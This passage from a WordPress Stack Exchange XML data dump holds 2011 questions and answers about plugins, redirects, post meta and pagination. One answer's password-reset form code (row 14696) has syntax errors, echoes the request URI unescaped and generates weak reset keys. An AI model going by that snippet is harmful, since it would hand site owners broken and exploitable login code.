$args );&#xA;        if( empty( $answers_list ) ){&#xA;            printf( '&amp;lt;p&amp;gt;%s&amp;lt;/p&amp;gt;', __( 'No answers by this user' ) );&#xA;            return;&#xA;        }&#xA;        $_comment_walk = new Walker_Comment;&#xA;&#xA;        printf( '&amp;lt;div id=&quot;aac-comments&quot;&amp;gt;&amp;lt;ul&amp;gt;' );&#xA;&#xA;        $_comment_walk-&amp;gt;paged_walk( $answers_list, 0, 1, $this-&amp;gt;comments_per_page, array( &#xA;            'style' =&amp;gt; 'ul', &#xA;            'avatar_size' =&amp;gt; 15, &#xA;            'max_depth' =&amp;gt; 1, &#xA;            'callback' =&amp;gt; array( $this, 'author_comment_walker' ) &#xA;        ) );&#xA;&#xA;        printf( '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;p class=&quot;alignright&quot;&amp;gt;Page: &amp;lt;span id=&quot;aac-comments-ap&quot;&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=&quot;alignleft&quot;&amp;gt;&amp;lt;a class=&quot;aacnavc&quot; href=&quot;#prev&quot;&amp;gt;%s&amp;lt;/a&amp;gt; &amp;lt;a class=&quot;aacnavc&quot; href=&quot;#next&quot;&amp;gt;%s&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;br class=&quot;clear&quot; /&amp;gt;&amp;lt;/div&amp;gt;', __('Prev'), __('Next') );&#xA;    }&#xA;    private function do_posts( $posts, $term_id = 0 ) {&#xA;&#xA;        echo '&amp;lt;ul&amp;gt;';&#xA;        foreach( $posts as $post )&#xA;            printf( '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;%s&quot;&amp;gt;%s&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;', get_permalink( $post-&amp;gt;ID ), get_the_title( $post-&amp;gt;ID ) );&#xA;        echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    }&#xA;    public function author_comment_walker( $comment, $args, $depth ) {&#xA;&#xA;        $GLOBALS['comment'] = $comment; &#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;?php echo get_avatar( $comment, $args['avatar_size'], $default = '&amp;lt;path_to_url&amp;gt;' ); ?&amp;gt; &amp;lt;?php echo get_comment_author_link(); ?&amp;gt; answered &#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink( $comment-&amp;gt;comment_post_ID ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo get_the_title( $comment-&amp;gt;comment_post_ID ); ?&amp;gt;&amp;lt;/a&amp;gt; on &amp;lt;a href=&quot;&amp;lt;?php echo htmlspecialchars( get_comment_link( $comment-&amp;gt;comment_ID ) ) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php printf( __( '%1$s at %2$s' ), get_comment_date(),  get_comment_time() ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php //edit_comment_link( __( '(Edit)' ),'  ','' ); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php // comment_text() ?&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php comment_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;$aac = new Author_Ajax_Cats;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; Fire up an author page and see how the results look and to check my code works for you.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How it looks locally with test data.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Click to view larger version, scaled down for the answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/TmdA9.png&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://i.stack.imgur.com/TmdA9.png&quot; width=&quot;300&quot; height=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Live demo of the code in action:** (test site)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://t31os.onatha.com/author/t31os/&quot; rel=&quot;nofollow&quot;&gt;http://t31os.onatha.com/author/t31os/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5)&lt;/strong&gt; Provide some feedback.. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-17T11:20:53.740" LastActivityDate="2011-04-17T11:20:53.740" CommentCount="3" />
  <row Id="14682" PostTypeId="2" ParentId="14673" CreationDate="2011-04-13T17:52:57.917" Score="0" ViewCount="" Body="&lt;p&gt;As far as I know, the hash at the end of the url (&lt;code&gt;#anchor&lt;/code&gt; here) never gets sent to the server. However, if you can just get WordPress to load the correct content when glossary.php is requested, the anchor should work just the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MathSmath is right about 301 redirects being important, but I'd suggest running this stuff in WordPress rather than through .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'd recommend using the &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt; plugin. It gives you a simple to use GUI to manage all your redirects that WordPress doesn't take care of automatically.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-13T17:52:57.917" />
  <row Id="14683" PostTypeId="2" ParentId="14672" CreationDate="2011-04-13T18:11:12.730" Score="0" ViewCount="" Body="&lt;p&gt;Yes its possible, Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Verve Meta Boxes&lt;/strong&gt;&lt;/a&gt; plugin &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once installed, you will find a&#xA;  configuration screen located under&#xA;  Tools in the left navigation. There&#xA;  you can create multiple meta boxes&#xA;  each with a set of user defined drag&#xA;  and drop sortable custom fields. See&#xA;  the screenshots for more detail.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-13T18:11:12.730" CommentCount="2" />
  <row Id="14684" PostTypeId="2" ParentId="10099" CreationDate="2011-04-13T18:18:37.527" Score="0" ViewCount="" Body="&lt;p&gt;An easier answer if you didn't want to create new files, or go through the trouble of messing up your queries is to use this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sql_where_clause($sql) {&#xA;  if (is_category()) {&#xA;    $sql = str_replace(&quot;cms_posts.post_type = 'post'&quot;, &quot;cms_posts.post_type='post' OR cms_posts.post_type = 'news' OR cms_posts.post_type='event'&quot;, $sql); &#xA;  }&#xA;  return $sql;&#xA;}&#xA;add_filter('posts_where', 'sql_where_clause');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of course, you'll need to modify it so that it has your custom post types in with it.  I did this so that my category.php would respond to all the custom post types i wanted as if they should normally be there.  Saves a lot of trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: Be wary of what version of WP you use this on. It would appear that older versions of WP used wp_posts instead of cms_posts, so verify what table names you're looking to use or you'll end up with odd results (nothing showing up, basically)&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4643" LastActivityDate="2011-04-13T18:18:37.527" />
  <row Id="14685" PostTypeId="1" CreationDate="2011-04-13T18:32:58.003" Score="0" ViewCount="119" Body="&lt;p&gt;I have recently changed hosting of my wordpress site to VPS.net. I have moved all of my files and imported the database. Everything appeared to be fine until I clicked a link and noticed that all of my pages are bringing back a 404 except the homepage. Site URL is &lt;a href=&quot;http://inksquared.com&quot; rel=&quot;nofollow&quot;&gt;http://inksquared.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4644" LastActivityDate="2011-04-13T18:46:27.887" Title="After server migration only the homepage works" Tags="&lt;database&gt;&lt;migration&gt;" AnswerCount="3" />
  <row Id="14686" PostTypeId="2" ParentId="14675" CreationDate="2011-04-13T18:33:29.213" Score="3" ViewCount="" Body="&lt;p&gt;You can use a &quot;custom field&quot; for marking the items as complete. These are also known as post meta fields. To set and read these fields, you'll use the WordPress functions &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;update_post_meta()&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta()&lt;/a&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for actually allowing users to set this flag from the frontend, AJAX seems like the best way. Check out the &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;Codex article on AJAX&lt;/a&gt;, specifically the section titled &quot;Ajax on the Viewer-Facing Side&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can build this all out as a plugin, or you can simply include your code in your theme's functions.php file.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-04-13T18:33:29.213" CommentCount="3" />
  <row Id="14687" PostTypeId="2" ParentId="14685" CreationDate="2011-04-13T18:36:15.560" Score="0" ViewCount="" Body="&lt;p&gt;Do you get a web server 404 or a WordPress 404? If it's a web server 404, you most likely didn't copy the root htaccess file over from the old installation, or it doesn't have correct permissions to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first troubleshooting item would be to check and see if an htaccess file exists in the root. And if so, what it contains.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-04-13T18:36:15.560" CommentCount="2" />
  <row Id="14688" PostTypeId="2" ParentId="14685" CreationDate="2011-04-13T18:36:23.507" Score="2" ViewCount="" Body="&lt;p&gt;Try flushing your mod_rewrite rules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dashboard -&gt; Settings -&gt; Permalinks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save settings (no need to make any changes)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-13T18:36:23.507" CommentCount="5" />
  <row Id="14689" PostTypeId="2" ParentId="14677" CreationDate="2011-04-13T18:45:42.797" Score="4" ViewCount="" Body="&lt;p&gt;This is tough to do programmatically because of potential variations in html and how the tags balance. However, if you were to try, here's how I'd suggest doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, WordPress sets up the post pagination in &lt;code&gt;setup_postdata()&lt;/code&gt;, which is called at the end of &lt;code&gt;the_post()&lt;/code&gt;. That means you need to get those &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; lines in the posts before the end of &lt;code&gt;the_post()&lt;/code&gt;. The &lt;code&gt;'loop_start'&lt;/code&gt; action should work for those purposes. It even passes a copy of the current WP_Query object by reference, so you can make changes directly to the queried posts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this is a start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'loop_start', 'wpse14677_loop_start' );&#xA;&#xA;function wpse14677_loop_start( $q ){&#xA;    foreach( $q-&amp;gt;posts as $k =&amp;gt; $p ){&#xA;        $words = preg_split( '/ +/', $p-&amp;gt;post_content, PREG_SPLIT_NO_EMPTY );&#xA;        $pages = array();&#xA;        while( $words ){&#xA;            if(200 &amp;gt;= count($words)){&#xA;                $pages[] = implode( ' ', $words );&#xA;                $words = array();&#xA;            } else {&#xA;                $pages[] = implode( ' ', array_slice( $words, 0, 200 ) );&#xA;                $words = array_slice( $words, 200 );&#xA;            }&#xA;        }&#xA;        if( count( $pages ) &amp;gt; 1 ){&#xA;            $q-&amp;gt;posts[$k]-&amp;gt;post_content = implode( &quot;\n&amp;lt;!--nextpage--&amp;gt;\n&quot;, $pages );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that gives you an idea of what you would need to do. I'd suggest finding some way of temporarily stripping html tags and replacing them after inserting the &lt;code&gt;nextpage&lt;/code&gt; flags, because the function above will also count spaces inside HTML tags, and could even put a page break inside one.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-13T18:45:42.797" CommentCount="3" />
  <row Id="14690" PostTypeId="2" ParentId="14685" CreationDate="2011-04-13T18:46:27.887" Score="0" ViewCount="" Body="&lt;p&gt;The reason is most likely that the &lt;code&gt;.htaccess&lt;/code&gt; file wasn't copied over. On Mac OS X, and in some FTP applications, this file is considered &quot;hidden&quot; because it starts with a &lt;code&gt;.&lt;/code&gt;. If you go to the Settings -&gt; Permalinks section in your admin section, you can regenerate this file, but it's probably best to find the version you had previously and use that again (especially if you use a caching plugin).&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-04-13T18:46:27.887" />
  <row Id="14691" PostTypeId="2" ParentId="14558" CreationDate="2011-04-13T19:39:33.827" Score="0" ViewCount="" Body="&lt;p&gt;This issue seems to have been fixed in Custom Field Template 1.8.5 :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the responses @Chip Bennett!&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-04-13T19:39:33.827" />
  <row Id="14692" PostTypeId="1" AcceptedAnswerId="14696" CreationDate="2011-04-13T20:24:15.023" Score="0" ViewCount="555" Body="&lt;p&gt;I have used Jeff Star's tutorial for creating my own custom login form &lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/12/login-register-password-code/&lt;/a&gt;. It works great, but I have one problem. On the reset password form, if someone enters their username incorrectly (so that it doesn't verify), they get kicked to the default wp-login.php?action=lostpassword with the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to redirect to my own error page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-04-13T22:18:01.713" Title="Check for correct username on custom login form" Tags="&lt;login&gt;&lt;form&gt;&lt;password&gt;&lt;reset&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="14693" PostTypeId="2" ParentId="14672" CreationDate="2011-04-13T20:46:09.630" Score="0" ViewCount="" Body="&lt;p&gt;This could also be done using JavaScript.  Just have it dynamically create additional fields and then have them all target the same destination array.  So the fields created by the JavaScript would be named something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;actors[actor1]&quot; id=&quot;actors[actor1]&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;actors[actor2]&quot; id=&quot;actors[actor2]&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;actors[actor3]&quot; id=&quot;actors[actor3]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The action to create these client-side fields could just be attached to an &quot;Add Actor&quot; button or something along those lines.&lt;/p&gt;&#xA;" OwnerUserId="3032" LastActivityDate="2011-04-13T20:46:09.630" CommentCount="2" />
  <row Id="14694" PostTypeId="1" CreationDate="2011-04-13T21:12:27.303" Score="1" ViewCount="101" Body="&lt;p&gt;I am using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_setting(&#xA;        'myplugin_options', //setting group name&#xA;        'myplugin_options', //option name that will be stored in the database&#xA;        'myplugin_validate_options'//optional callback function&#xA;);&#xA;&#xA;function myplugin_validate_options($input) {&#xA;    //how can i print $input to the screen or view the output of this function for debugging purpsoses?&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just need to know how we can debug our validation callback functions. From what I see they can not be output to the screen so it makes writing correct code inside of them difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4647" LastActivityDate="2011-08-14T11:47:30.280" Title="How to debug register_setting callback function" Tags="&lt;plugins&gt;&lt;options&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="14695" PostTypeId="2" ParentId="14679" CreationDate="2011-04-13T21:48:12.780" Score="0" ViewCount="" Body="&lt;p&gt;I think this would bring up some major security issues, look at all the malware you find in &quot;free theme&quot; mills.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-13T21:48:12.780" CommunityOwnedDate="2011-04-13T21:48:12.780" CommentCount="1" />
  <row Id="14696" PostTypeId="2" ParentId="14692" CreationDate="2011-04-13T22:18:01.713" Score="0" ViewCount="" Body="&lt;p&gt;The code he posted in that tutorial (very nice BTW) post's the form to the build-in &quot;reset password&quot; module which redirects to the login.php on error, but you can change that and build your own based on the original and add it to the template page, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo site_url('wp-login.php?action=lostpassword', 'login_post') ?&amp;gt;&quot; class=&quot;wp-user-form&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;username&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;user_login&quot; class=&quot;hide&quot;&amp;gt;&amp;lt;?php _e('Username or Email'); ?&amp;gt;: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;user_login&quot; value=&quot;&quot; size=&quot;20&quot; id=&quot;user_login&quot; tabindex=&quot;1001&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;login_fields&quot;&amp;gt;&#xA;        &amp;lt;?php do_action('login_form', 'resetpass'); ?&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;user-submit&quot; value=&quot;&amp;lt;?php _e('Reset my password'); ?&amp;gt;&quot; class=&quot;user-submit&quot; tabindex=&quot;1002&quot; /&amp;gt;&#xA;        &amp;lt;?php $reset = $_GET['reset']; if($reset == true) { echo '&amp;lt;p&amp;gt;A message will be sent to your email address.&amp;lt;/p&amp;gt;'; } ?&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;?reset=true&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;user-cookie&quot; value=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; class=&quot;wp-user-form&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;username&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;user_login&quot; class=&quot;hide&quot;&amp;gt;&amp;lt;?php _e('Username or Email'); ?&amp;gt;: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;user_login&quot; value=&quot;&quot; size=&quot;20&quot; id=&quot;user_login&quot; tabindex=&quot;1001&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;login_fields&quot;&amp;gt;&#xA;        &amp;lt;?php do_action('login_form', 'resetpass'); ?&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;user-submit&quot; value=&quot;&amp;lt;?php _e('Reset my password'); ?&amp;gt;&quot; class=&quot;user-submit&quot; tabindex=&quot;1002&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?php if (isset($_POST['reset_pass'])){&#xA;    global $wpdb;&#xA;    $username = trim($_POST['user_login']);&#xA;    $user_exists = false;&#xA;    if ( username_exists( $username ) ){&#xA;        $user_exists = true;&#xA;        $user_data = get_userdatabylogin($username);&#xA;    }elseif{&#xA;        if ( email_exists($username) ){&#xA;            $user_exists = true;&#xA;            $user = get_user_by_email($username);&#xA;        }&#xA;    }else{&#xA;        $error[] = '&amp;lt;p&amp;gt;'.__('Username or Email was not found, try again!').'&amp;lt;/p&amp;gt;';&#xA;    }&#xA;    if {$user_exists){&#xA;        $user_login = $user-&amp;gt;user_login;&#xA;        $user_email = $user-&amp;gt;user_email;&#xA;        // Generate something random for a password... md5'ing current time with a rand salt&#xA;        $key = substr( md5( uniqid( microtime() ) ), 0, 8);&#xA;        // Now insert the new pass md5'd into the db&#xA;        $wpdb-&amp;gt;query(&quot;UPDATE $wpdb-&amp;gt;users SET user_activation_key = '$key' WHERE user_login = '$user_login'&quot;);&#xA;        //create email message&#xA;        $message = __('Someone has asked to reset the password for the following site and username.') . &quot;\r\n\r\n&quot;;&#xA;        $message .= get_option('siteurl') . &quot;\r\n\r\n&quot;;&#xA;        $message .= sprintf(__('Username: %s'), $user_login) . &quot;\r\n\r\n&quot;;&#xA;        $message .= __('To reset your password visit the following address, otherwise just ignore this email and nothing will happen.') . &quot;\r\n\r\n&quot;;&#xA;        $message .= get_option('siteurl') . &quot;/wp-login.php?action=rp&amp;amp;key=$key\r\n&quot;;&#xA;        //send email meassage&#xA;        if (FALSE == wp_mail($user_email, sprintf(__('[%s] Password Reset'), get_option('blogname')), $message)&#xA;        $error[] = '&amp;lt;p&amp;gt;' . __('The e-mail could not be sent.') . &quot;&amp;lt;br /&amp;gt;\n&quot; . __('Possible reason: your host may have disabled the mail() function...') . '&amp;lt;/p&amp;gt;';&#xA;    }&#xA;    if (count($error) &amp;gt; 0 ){&#xA;        foreach($error as $e){&#xA;            echo $e . &amp;lt;br/&amp;gt;;&#xA;        }&#xA;    }else{&#xA;        echo '&amp;lt;p&amp;gt;'.__('A message will be sent to your email address.').'&amp;lt;/p&amp;gt;'; &#xA;    }&#xA;}?&amp;gt; &#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;reset_pass&quot; value=&quot;1&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;user-cookie&quot; value=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-13T22:18:01.713" CommentCount="5" />
  <row Id="14697" PostTypeId="1" CreationDate="2011-04-13T22:28:12.433" Score="0" ViewCount="76" Body="&lt;p&gt;This snippet pulls in post &quot;industry&quot; for the current post&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_meta = get_post_meta( $post-&amp;gt;ID ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code pulls in all the logos for the &quot;brands&quot; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( 'post_type=brands&amp;amp;orderby=title&amp;amp;order=ASC&amp;amp;posts_per_page=-1' );          &#xA;            $i = 0;&#xA;            if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;li id=&quot;feature&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&amp;lt;image src=&quot;&amp;lt;?php echo get_post_meta( $post-&amp;gt;ID, 'brand_logo_sm', true ); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php $i++; endwhile; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need some help limiting the the above code to ONLY display the brands that match the &#xA;&quot;$post_meta&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( 'post_meta=brand_industry&amp;amp;orderby=title&amp;amp;order=ASC&amp;amp;posts_per_page=-1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With not lock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function where I declare the meta:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$brand_meta = array(&#xA;    'brand_email' =&amp;gt; 'Email',&#xA;    'brand_url' =&amp;gt; 'Website',&#xA;    'brand_stores' =&amp;gt; 'Global Store Locator ID',&#xA;    'brand_gallery' =&amp;gt; 'Gallery ID',&#xA;    'brand_products' =&amp;gt; 'Products',&#xA;    'brand_industry' =&amp;gt; 'Industry'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Answer to comment below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code, outputs all the logos.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( 'post_type=brands&amp;amp;orderby=title&amp;amp;order=ASC&amp;amp;posts_per_page=-1' );          &#xA;            $i = 0;&#xA;            if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;li id=&quot;feature&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&amp;lt;image src=&quot;&amp;lt;?php echo get_post_meta( $post-&amp;gt;ID, 'brand_logo_sm', true ); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php $i++; endwhile; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only want it to display the logos if the &quot;industry&quot; gets outputted using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $post_meta = get_post_meta( $post-&amp;gt;ID ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is equal to X&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thant make sense? &lt;/p&gt;&#xA;" OwnerUserId="4649" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-13T23:24:21.833" LastActivityDate="2011-04-13T23:24:21.833" Title="Help with Post Meta" Tags="&lt;post-meta&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="14698" PostTypeId="1" AcceptedAnswerId="14702" CreationDate="2011-04-13T22:31:03.977" Score="0" ViewCount="184" Body="&lt;p&gt;I have a question I hope you can help me with. I have a custom taxonomy called locations and on the first level I have the areas (Asia, Europe, etc) and under each area I have countries (England, South Africa). What I would like to do it display a dropdown menu of all the children of that particular parent similar to what was done here, &lt;a href=&quot;http://wordpress.org/support/topic/terms-of-custom-taxonomy-in-a-dropdown-menu&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/terms-of-custom-taxonomy-in-a-dropdown-menu&lt;/a&gt; . However, I want the dropdown to only display the children of the parent page I am currently on, not all the terms. So if I am on North America I want it to show the United States and Mexico and if I am on the Europe parent page I want it to show England. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nick&lt;/p&gt;&#xA;" OwnerUserId="4648" LastActivityDate="2011-04-13T23:49:08.607" Title="Displaying Custom Taxonomy Children in Dropdown" Tags="&lt;3.0&gt;&lt;taxonomy&gt;&lt;children&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14700" PostTypeId="2" ParentId="14697" CreationDate="2011-04-13T23:12:17.550" Score="1" ViewCount="" Body="&lt;p&gt;This makes no sense, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;required &lt;code&gt;$key&lt;/code&gt; argument&lt;/a&gt; (defines which custom field value you want to retrieve) is missing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_meta = get_post_meta( $post-&amp;gt;ID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How are you actually assigning this to post? In this snippet you only assign array to some arbitrary variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$brand_meta = array(...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also please clarify your condition, I am not sure what you mean by &lt;em&gt;brands that match $post_meta&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-13T23:12:17.550" 